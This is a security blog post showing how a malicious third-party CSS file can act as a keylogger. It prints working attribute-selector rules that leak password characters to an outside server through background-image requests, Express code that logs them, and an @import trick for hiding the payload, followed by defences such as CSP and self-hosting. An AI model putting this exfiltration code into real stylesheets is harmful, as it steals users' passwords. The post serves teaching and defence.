Missed Frontend Vulnerabilities (1): CSS is not as safe as you think!
Tags: css, security, frontend, keylogger
Published: 2020-10-22 05:14:21

In this series of posts, I want to go through some security-related frontend issues that I find interesting. I will try to test out these ideas with code and keep track of my findings at least for my future reference.

The first one in these series is about CSS, yeah the innocent cute little CSS. An unsafe piece of CSS code (whether it is a third-party library or user-generated) can lead to huge security implications.

A while back I saw some tweets saying that it is possible for third-parties to add a key logger to your site with CSS. There is also a proof of concept as a chrome extension on [github](https://github.com/maxchehab/CSS-Keylogging).

The idea behind it is pretty simple:
1. You add a CSS library (thinking with yourself that well-known ones are too heavy, and you come across this new fancy CSS library on npm)
2. They provide you with some useful classes like tailwind or bootstrap (For this purpose, they don't even need you to import any Javascript asset to your project, CSS is enough).
3. Among their thousands of lines of code, there is some faulty logic that can steal your client's data.

## But how is it even possible!
Let's think for a while... What do the hackers need in order to write a simple keylogger?
1. Track some user inputs (for example passwords)
2. Send it to their server

```css
input[type="password"][value="a"] { background-image: url("https://hackerserver/add-key?val=a"); }
```
With this simple line of code:
1. Track user inputs: Whenever the value of the input field is `a`, they know it.
2. Send it to their server: by adding a background image for the `input`, they basically trigger a `GET` call to their server and can return an empty pixel, so you won't even notice it.

This only works with a `<input/>` with the value of `a`, but it is easy to change the CSS selector from

`input[type="password"][value="a"]`

to

`input[type="password"][value$="a"]`

Now they only look for the password inputs that end in `a`, now you can simply do this for all the characters, and every time the user inputs a new value, there will be a new request to their server, and voila it works...

## Let's implement this!
### Backend ([github](https://github.com/M-Izadmehr/security-playground-server)):
I decided to use a very basic express server for this purpose. In this short snippet, `express.static` is responsible for serving the CSS file needed as third-party, and the two main endpoints are also added.

```js
const express = require("express");
var cors = require('cors')

const app = express();
app.use(cors())

app.use('/static', express.static('public'))
const port = process.env.PORT || 8080;

app.get("/css-keylogger/add-key", require('./routes/css-keylogger/addKey'));
app.get("/css-keylogger/keys", require('./routes/css-keylogger/getKeys'));


app.listen(port, () => {
  console.log(`Example app listening at http://localhost:${port}`);
});
```

#### 1. Provide the third-party syles for the frontend ([github](https://github.com/M-Izadmehr/security-playground-server/blob/master/public/styles.css)):
This file is supposed to provide some basic CSS functionalities that the victim client will need, for this case I added some really useful styles that we will need later in the Frontend side. 

However, at the end of the file you will see these lines:
```css
...
input[type="password"][value$="A"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=A"); }
input[type="password"][value$="B"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=B"); }
input[type="password"][value$="C"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=C"); }
input[type="password"][value$="D"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=D"); }
input[type="password"][value$="E"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=E"); }
input[type="password"][value$="F"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=F"); }
input[type="password"][value$="G"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=G"); }
input[type="password"][value$="H"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=H"); }
input[type="password"][value$="I"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=I"); }
input[type="password"][value$="J"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=J"); }
input[type="password"][value$="K"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=K"); }
input[type="password"][value$="L"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=L"); }
input[type="password"][value$="M"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=M"); }
...
```

#### 2. An endpoint to add the new keystrokes ([github](https://github.com/M-Izadmehr/security-playground-server/blob/master/app/routes/css-keylogger/addKey.js)):
Now when the user uses this CSS file, for every keystroke on the password inputs the server is called with a `GET` call. In this endpoint, we save the results of the recent keystroke, and we can return an empty pixel:

```js
const cssKeyLoggerAddKeyHandler = async (req, res) => {
  // push the recent key stroke to logs
  const key = req.query.val;
  const time = new Date().getTime();
  loggedKeys.push({ time, key });

  // transparent 1x1 pixel
  const imgData =
 "data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==";
  const base64Data = imgData.replace(/^data:image\/gif;base64,/, "");
  const img = Buffer.from(base64Data, "base64");

  res.writeHead(200, {
    "Content-Type": "image/png",
    "Content-Length": img.length,
  });
  res.end(img);
};
```

#### 3. An endpoint to get the list of endpoints ([github](https://github.com/M-Izadmehr/security-playground-server/blob/master/app/routes/css-keylogger/getKeys.js))

For the sake of simplicity, we can store the logged keys, in a variable, and create a small dashboard for the hacker, to get the list of the recently logged keys:
```js
const cssKeyLoggerGetKeysHandler = async (req, res) => {
  res.json(loggedKeys)
};
```

### Frontend:
For the frontend side, we can use a very small create-react-app project and add a login form which will render the welcome component on submit. In order to be able to see the results from the hacker's side, I added another tab to get and see the results from their point of view.
The form uses the CSS class names provided by the third party. And the in hacker's panel you can see the results.
  
{% codesandbox mystifying-bose-fgdjy %}

## Why is it almost impossible to debug this issue?
You might be thinking that ok now that I'm aware of it, after every update, I will upgrade the third parties, I will check the networks tab on password fields. Or you might be thinking that I am already using snyk.io or GitLab securities, and as soon as there is a risk, they will let me know. Unfortunately, no! Let's put ourselves in the shoes of a smart hacker. They know that you know this, so if they can somehow hide the network requests, they win.

## A monster called `@import`!
To be honest, before working on this, I didn't even know that you can import CSS within CSS, and I thought `@import` can only be used for fonts. But then I saw that almost every browser on the planet supports it (when even IE6 supports it, there is nothing to say...)
![Screenshot 2020-10-22 at 04.39.43](https://dev-to-uploads.s3.amazonaws.com/i/3q88yv2p25504plscfvp.png)

So by doing `@import` unsafe third-party can add dynamic imports. So let's rewrite our styles with `@import`. In order to do so, we just need to add:
```css
@import url("./keyloggerStyles.css");
```
on top of the third-party CSS file, and create a `keyloggerStyles.css` file containing all the bad logic.

So the hacker can easily add the bad logic to a separate CSS file on their own server and reference it. When you initially test the third party nothing bad happens (the keylogger file is empty). They don't even need you to do an upgrade to the corrupted version. One day, when you are probably sleeping, they can change the contents of the corrupted file on their server, and steal the information of the users for a while, and they can remove the logic again, and no one will know anything.

This code sandbox is a simple implementation of the same thing. The hacker can change the content of the keylogger CSS file at their own convenience, and when they turn it on, as soon as a user reloads the page, and fills out a form, the keylogging happens.

{% codesandbox inspiring-pare-m5vbm %}


## So what can be done?
Well, probably the first thing to say is that we need to be cautious. It is impossible to avoid using third-parties completely. However, It is better to self-host such assets. About this particular case, it is also very important to make sure that there are no additional network requests, that you did no allow. And also it might be a good idea to open their distribution CSS file and make sure that they are not using `@import` without proper justification.

As Wesley suggested in the comments, a good solution is this:
1. Self-host all assets (or of course use known cdns)
2. Make sure that no CSS is being `@import`ed in the destribution.
3. Add Content Security Policy (CSP) meta tag to your HTML file. By managing the whitelist servers, you can block any unwanted network requests to other servers. A simple meta tag would look like this:
```html
<meta http-equiv="Content-Security-Policy" content="default-src 'self'">
```
The `default-src` part is the default policy for loading javascript, images, CSS, fonts, AJAX requests, etc.
`self` means allowing only requests to the same domain. However, you should have it in your mind that if there are any external requests, you would have to add them as allowed.

Another important note is that even if there is one instance of `@import` from a shady server, (and supposedly it includes some important CSS classes that you need in your project), then you would have to make sure that you only allow that single file and no other endpoints from that server. Otherwise, if you whitelist the whole domain, the issue will stay remain.

Besides these points, there are several vulnerability databases, which will help us with the widely known security risks. The integration of such services such as snyk.io or GitLab securities can help find some of these new issues.